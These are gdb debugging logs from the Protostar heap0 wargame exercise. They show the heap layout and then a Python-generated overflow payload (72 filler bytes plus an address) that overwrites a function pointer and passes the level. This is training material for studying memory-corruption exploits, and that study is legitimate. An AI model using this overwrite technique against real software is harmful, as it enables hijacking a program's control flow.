```
(gdb) break *0x80484ff
Breakpoint 1 at 0x80484ff: file heap0/heap0.c, line 40.
(gdb) r aaaabbbb
Starting program: /opt/protostar/bin/heap0 aaaabbbb
data is at 0x804a008, fp is at 0x804a050
level has not been passed

Breakpoint 1, main (argc=2, argv=0xbffffd64) at heap0/heap0.c:40
40      heap0/heap0.c: No such file or directory.
        in heap0/heap0.c
(gdb) info proc map
process 1594
cmdline = '/opt/protostar/bin/heap0'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap0'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/heap0
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/heap0
         0x804a000  0x806b000    0x21000          0          [heap]
        0xb7e96000 0xb7e97000     0x1000          0
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0
        0xb7fdf000 0xb7fe2000     0x3000          0
        0xb7fe2000 0xb7fe3000     0x1000          0          [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
        0xbfeb000 0xc0000000    0x15000          0          [stack]
(gdb) x/60x 0x804a000
0x804a000:      0x00000000      0x00000049      0x61616161      0x62626262
0x804a010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a040:      0x00000000      0x00000000      0x00000000      0x00000011
0x804a050:      0x08048478      0x00000000      0x00000000      0x0020fa9
0x804a060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a070:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0d0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0e0:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb)
```

```
(gdb) r $(python -c 'print "A"*72 + "\x64\x84\x04\x08"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/heap0 $(python -c 'print "A"*72 + "\x64\x84\x04\x08"')
data is at 0x804a008, fp is at 0x804a050
level passed

Breakpoint 1, main (argc=2, argv=0xbffffd24) at heap0/heap0.c:40
40      in heap0/heap0.c
(gdb) x/60x 0x804a000
0x804a000:      0x00000000      0x00000049      0x41414141      0x41414141
0x804a010:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a020:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a030:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a040:      0x41414141      0x41414141      0x41414141      0x41414141
0x804a050:      0x08048464      0x00000000      0x00000000      0x0020fa9
0x804a060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a070:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0d0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0e0:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb)
```